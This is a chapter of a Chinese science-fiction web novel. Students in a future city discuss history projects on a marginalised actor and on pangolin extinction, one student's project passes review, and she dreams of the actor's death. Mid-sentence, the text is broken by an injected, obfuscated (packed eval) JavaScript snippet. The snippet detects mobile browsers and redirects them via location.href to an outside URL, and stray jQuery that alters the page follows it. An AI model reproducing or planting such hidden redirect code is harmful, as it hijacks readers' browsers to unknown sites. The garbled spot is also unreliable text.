公共记忆花园到了傍晚的时候，周围的光线会自动慢慢转暗，水面投影切换成夜间模式，星点一颗颗亮起。
这边林序还在继续看陈绍宁的资料，忽然笑了一下。
“我真的想了想，实际上其实我们选题还挺像的。”她说。
“哪里像？”陈绍宁抬头。
“你研究的是被时代慢慢耗掉的人，我研究的是被时代慢慢吃掉的动物。”林序说完抬手调出自己的资料界面，悬浮在两人之间。
观察主题：21世纪濒危物种保护政策的实际执行偏差
重点样本：中华穿山甲消亡轨迹
陈绍宁愣了一下：“你真的选了研究穿山甲？”
“嗯。”林序点头，“教材上写很长一段时间人类环保意识觉醒，但是在那些关键阶段，……嗯…… 其实我回去看了一下，觉醒归觉醒，走私和食用需求一直没真正停过。”
她把一段影像调出来。
夜色里的山林，红外镜头拍到一个卷成球的影子，被人从树根下掏出来，塞进袋子里。
“他们鳞片被说成药材，肉被当成野味。”林序语气很平，“所有人都知道它们要灭绝，但总有人觉得再吃最后一次也没关系。”
陈绍宁看着那段影像，忽然有点说不出话。
“你看，”林序轻声说，“你那个演员是被系统挤压，我这个物种，是被欲望一点点啃光。形式不一样，本质差不多。”
“都是知道会消失，但没人停手。”陈绍宁低声说，“都存着侥幸的心理，觉得作恶也没事，反正是最后一次，但不耽误还有下一次。”
两人对视了一下，又同时无奈的叹气。
“走吧，”林序把终端收回，“去吃饭，我饿了。”
从记忆花园到生活区，要穿过一段半开放的交通廊桥。廊桥外侧是透明材质，能看到城市下层缓缓流动的灯带。那不是车流，而是自动物流轨道在运转，物资在城市各节点之间低噪声传输。
桥内地面是一条细长的银色线带，随着行人步速自动匹配移动。
“站上去就行。”林序说。
陈绍宁踩上那条线带，脚下几乎感觉不到加速，只是周围景物开始缓慢后退。桥顶的引导光点一颗颗亮起，提示即将接入公共交通主环。
不远处，一列低空城市环线车从外侧滑过，没有车轮，也没有明显的引擎声，只在空气里留下一点细微的震动。
“你还没怎么坐过都市公共环线吧？”林序问。
“还好，都是在校园里活动。”陈绍宁点头。
“星际城市的地面交通很少了，”林序说，“主要是空中环线和地下磁轨，时间差基本控制在两分钟以内。”
她们走到换乘平台时，一辆银灰色的环线车刚好停靠。
车门无声滑开，里面空间很宽，没有座位的等级区分，只有靠窗的观景带和中部的交流区。有人在看资料，有人轻声聊天，还有人靠着透明壁看外面的城市灯光。
陈绍宁和林序站在一侧，车体平稳起飞。
城市在脚下慢慢展开，周围都是错落分布的功能区块，中间留着大片生态绿地和水体。能源塔分布在远处，光线柔和。
“我们这代人，”林序说，“其实很难想象通勤两个小时是什么感觉。”
陈绍宁想起自己在历史影像里看到的地铁人群，轻轻点头。
“那时候时间是被卖掉的。”她说。
“现在是被分配的。”林序接话，“至少基础部分是。”
车厢内广播响起温和的提示音：“下一站，生活区中环。”两人下车后，步行进入生活区广场。
这里比校园热闹一点，但依旧没有拥挤。
街道两侧是轮值餐厅和共享厨房窗口，空气里混着不同星域料理的香味。
“今天想吃什么？”林序问。
“你选吧。”陈绍宁说，她的终端已经悄悄亮起，她忍不住又点开了审查界面。
—— 观察型历史课程 第一轮资料审核进度条 73%。
“还没出审核结果吗？”林序瞥了一眼。
“嗯。”
“急什么，”林序笑，“系统审查要看逻辑链完整度，又不是只看情绪浓度。”
她们走进一家主打谷物料理的餐厅。取餐区是开放式的，今天的主食是三种不同星域培育的复合谷物饭，配蔬菜炖汤和植物蛋白。陈绍宁端着餐盘坐下，却忍不住又点开同批次审查列表。
列表是匿名的，只显示主题方向，陈绍宁查看了排在自己后面的同批次观察选题示例，陈绍宁的手在终端上面来回划动起来来回看着。
“你看什么呢？”林序问。
“别人选题。”陈绍宁把界面转给她。
林序扫了一眼，笑了：“挺正常的，大家都在找自己能承受的入口。”
“我会不会选择的太偏了？”陈绍宁忽然说。
“你只是选了一个人去观察。”林序低头喝了口汤，“对于系统而言只要你逻辑自洽就会支持的你的。”
陈绍宁点点头，却还是忍不住刷新了一下进度条，已经到了78%。
“你紧张得像等考试成绩。”林序笑。
“这跟考试一样了。”陈绍宁说，“过不了，我就进不了第二轮。”
林序想了想，忽然认真地说：“但不管过不过，你已经看见了。”
陈绍宁抬头。
“很多人回到过去，只是为了满足好奇。”林序继续说，“你是带着问题回来的，这就够了。”
陈绍宁觉得林序说的很对，放下终端之后，她眼神落在餐厅外，眼看灯光慢慢亮起，夜色降下来，街道上多了些散步的人影。
终端的结果如何？陈绍宁想着又刷新了一次。
这次进度条已经跳到 100%。
界面停顿了一秒，然后一行淡蓝色的提示浮现出来。
您的观察型历史课程第一轮资料已通过审核。
陈绍宁盯着那行淡蓝色提示，手指在半空悬着，迟迟没有落下去确认。林序先反应过来，伸手在她面前晃了晃。
“喂，回神了。”
“通过了。”陈绍宁轻声说。
“我看见了。”林序笑，“你现在这个表情，跟刚被录取的新生一模一样。”
陈绍宁这才轻轻吐出一口气，她没想到这么快就处了结果。
“下一步就能申请第二轮观察了？”林序问。
“是的，基本上要完成六次以上的观察型历史课程才能有机会申请深度课程。”她低头看着界面，“但要再提交一份方向说明书。”
“当然。”林序点头，“深度课程要屏蔽你的记忆完全成为那个时代的人，要是出现什么危险，你就只能自己接受了。”
林序说的话里都是担心，但是其实也不用担心的这么早，反正也不一定能按照自己想法一样，像申请就能申请到深度课程。
她们一边吃饭，一边看着界面上跳出的新选项。
餐厅里光线柔和，桌面嵌着低功耗光带，足够照亮食物的纹理，周围人声不高。
陈绍宁却还停在刚才那一页，她点开同批次通过名单，匿名编号一个个亮起，后面跟着选题关键词。
武侠叙事中的民间正义模型
沿海小镇腌制食品的家庭结构记忆
诗人顾某某的流放时期创作分析
独立动画工作室早期协作模式
流浪猫救助网络的社会自组织能力
“你看，”林序说，“每个人都在为现在的我们找来路。” 陈绍宁轻轻点头。
“只是我找的是一个人。”
“人最难。”林序说，“制度能拆解，产业能分析，但是人的思维会让你犹豫。”
陈绍宁想起那天夜里，孟余站在客厅里念台词的样子。那种认真，并没有观众，也没有镜头。
她低声说：“他甚至不觉得自己在承受什么。”
林序没有马上回答。
餐厅的公共信息墙上，正滚动播放一条城市更新纪录片，讲的是一处旧矿区改造为湿地保护区的过程。画面里有志愿者，有工程师，也有孩子在新修的木栈道上跑。
“你有没有发现，”林序忽然说，“我们这个时代，很少有人需要证明我值得活着。”
陈绍宁抬头看她。
“我们需要证明的，是我想做什么。”林序继续说，“但旧时代的人，要先证明我值得活着。”
这句话落下，两人之间安静了一会儿，陈绍宁低头把终端调到城市交通实时图。
“吃完陪我走一段吗？”她说。
“去哪？”
“想看看夜间主环线。”
林序笑了：“行，反正明天没早课。”
夜间的公共交通比白天更安静。
她们走出生活区广场时，一辆低空环线刚好掠过头顶，车体下方的引导光像一条柔软的丝带。远处的高层绿化带亮着微光，那是自动调节的植物生长灯。
主环线换乘平台几乎没有人。
夜班服务并不是因为有人必须工作，而是因为城市本身需要持续运转。维护人员轮值，研究站轮值，生态区巡查轮值，这些岗位都由自愿申请和周期轮换构成。
“以前的人夜里出门，是为了加班或者通宵。”林序说。
“现在夜里出门，多半是看星星。”陈绍宁笑了一下。
她们站在观景区，看城市慢慢从脚下滑过。
下层是大片暗绿色的生态带，中间偶尔闪过水面反光。再远一点，是分布式能源塔的光点，像固定在地平线上的星。
陈绍宁忽然觉得一种奇怪的对比，这个时代的夜晚是温和的，是为休息准备的。而她要去的那个时代，夜晚是另一种白天，是延长的劳作，是被灯光强行撑开的时间。
她低头又看了一眼审核通过的提示，想了想还是问了问林序，“林序，”她说，“你研究穿山甲，是想做什么？”
“想知道，为什么人类明明知道它们要灭绝，还是停不下来。”林序回答得很快，“如果我能把那个机制讲清楚，也许我们以后在别的物种身上不会重蹈覆辙。”
陈绍宁轻声说：“我想知道的也差不多。”
“什么？”
“为什么大家明明看见有人在被耗光，却还是觉得那是他自己的问题。”
环线车到站，门轻轻打开，两人没有上车，只是站在原地，看它又无声离开。
终端在陈绍宁手里再次亮起。
系统推送了一条新通知：
观察型历史课程申请入口已开放，请在 48 小时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149306|196424||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
内提交方向说明书。
陈绍宁没有立刻点开，夜风从高处吹下来，带着一点凉意。林序拍了拍她的肩：“走吧，回去休息了。”
陈绍宁点头，把终端收起，想那么多也没什么特别的帮助，陈绍宁把自己的思绪都压下去。
两人往学校的方向走去，很快到了星际联合大学的公共宿舍。
陈绍宁还记得自己看到的旧时代影视作品里描绘的未来城市，很多建筑都悬浮在半空，还设计成通体金属光泽。
但实际上星际联合大学的公共宿舍也没有夸张的造型。
整片宿舍区更像一座安静的，被植物包围的社区。建筑高度被控制在不会遮挡天穹投影的范围内，每栋楼之间都留着足够的绿地和步行廊道，风能从任何方向穿过去，不会被堵住。
陈绍宁住在B区三层的一间标准单人舱。舱门识别到她的生物信号后轻轻滑开，屋内的光线自动调成她习惯的暖色。
空间不算大，却被设计得非常合理，靠墙是一体式收纳与学习台，另一侧是可折叠休息区，窗面不是传统玻璃，而是一整块环境幕墙，可以在真实景观与模拟景观之间切换。
今晚的窗景是低重力海岸。
远处的海面缓慢起伏，星光倒映在水里。
陈绍宁知道那是模拟，却仍然能感到一种安静的包围感。
休息应该被当成一项需要被认真保障的权利，而不是效率低下的象征。
宿舍走廊永远是安静的。
隔音材料和空间规划让每个人都能拥有足够的私人声场。
陈绍宁经常在房间里听音乐跟着大唱，练习演讲，甚至情绪崩溃地哭一场，都不必担心影响他人，也不必害怕被打扰。
公共区域在每层中段。
那里有开放式阅读角，共享厨房台，以及一面缓慢变化的植物墙。
植物墙并不是装饰，它连着整栋楼的微气候调节系统，白天吸收多余热量，夜晚释放湿度，让空气始终处在舒适区间。
有学生在厨房台煮夜宵，有人在长桌上讨论选题，还有人只是坐在地上，靠着墙看终端投影。
陈绍宁最明显感受到的幸福，是一种不用解释的安全感。
她不需要计算这个月的住宿费用，不需要担心电费水费，也不需要为了节省开支而牺牲饮食或医疗。
基础资源被纳入公共保障体系，学生的注意力被最大限度地从活下去的成本中解放出来。
这并不意味着没有压力，课题会难研究会卡住，人与人之间也会有误解和孤独。但这些压力，至少不是来自明天还能不能住在这里。
夜里十点，走廊的顶灯自动调暗，只保留引导光带。
有人轻声经过，脚步几乎听不见。远处公共区传来低低的笑声，很快又被吸音材料吞没。
陈绍宁躺在床上，看着天花板上柔和的星图投影。
一个社会在无数次反思和修正之后，才能逐渐建立起来让所有人舒适的结构，这些都不是理所当然的自然状态，而是人类自己争取来的。
此刻宿舍的空气恒温恒湿，窗外的海面安静起伏。
幸福并没有被高声宣告，它只是安静地存在着，像呼吸一样自然。
陈绍宁感受着床铺的舒适，耳边全是海浪声的白噪音，这种舒适的感觉让她的呼吸也跟着缓慢起来，不知道是不是因为最近在观察孟余带来的日有所思夜有所梦，反正陈绍宁做了一个极其清晰的梦。
她站在一片看不见尽头的光屏前，四周没有人，却满是声音。
新闻弹窗一层叠一层地向她扑来，像失控的雪崩。标题简短、整齐——
【某演员突发意外去世，年仅三十七岁】
【生前长期无戏可拍，最后公开露面画面曝光】
画面切换得太快，她甚至看不清细节，只能看到那个熟悉的名字反复出现，被无数平台转载，被不同语气重复描述。
有人惋惜，有人分析，有人冷静讨论行业现状，也有人说人生无常。
可梦里的她却一句都听不进去。
她只是站在那片刺目的白光里，耳边嗡嗡作响，像是整个世界在远处塌陷，而她被固定在原地，动不了，也喊不出声。
她拼命想找到一条不是他的信息，想翻到澄清辟谣，或者说明是误传的小字。
可每一条推送都在重复同一个事实。
他不在了。
陈绍宁不知道自己为什么会那么难过。明明只是观察过的人，明明只是资料里的名字，可梦里的悲伤却像从骨头里渗出来，闷得发疼。
最后一条画面停住。
是一段模糊的视频截图，他低着头，像是在人群中说着什么，光线晃动，看不清表情。
眼前忽然一黑，陈绍宁猛地醒过来。
宿舍天花板的星图投影静静亮着，夜色温和，空气安稳。
可她的脸颊却一片冰凉，枕边湿了一小块。
她愣了好一会儿，才意识到自己在流泪，胸口那股说不出的酸胀还没散去，像梦里的悲伤没来得及跟着醒过来。
她抬手擦了擦脸，却发现眼泪止不住地往下掉。
窗外的模拟海面轻轻起伏，整个星际城市安静得仿佛从未有过噩梦。
只有她自己在黑暗里坐着，心口空了一块。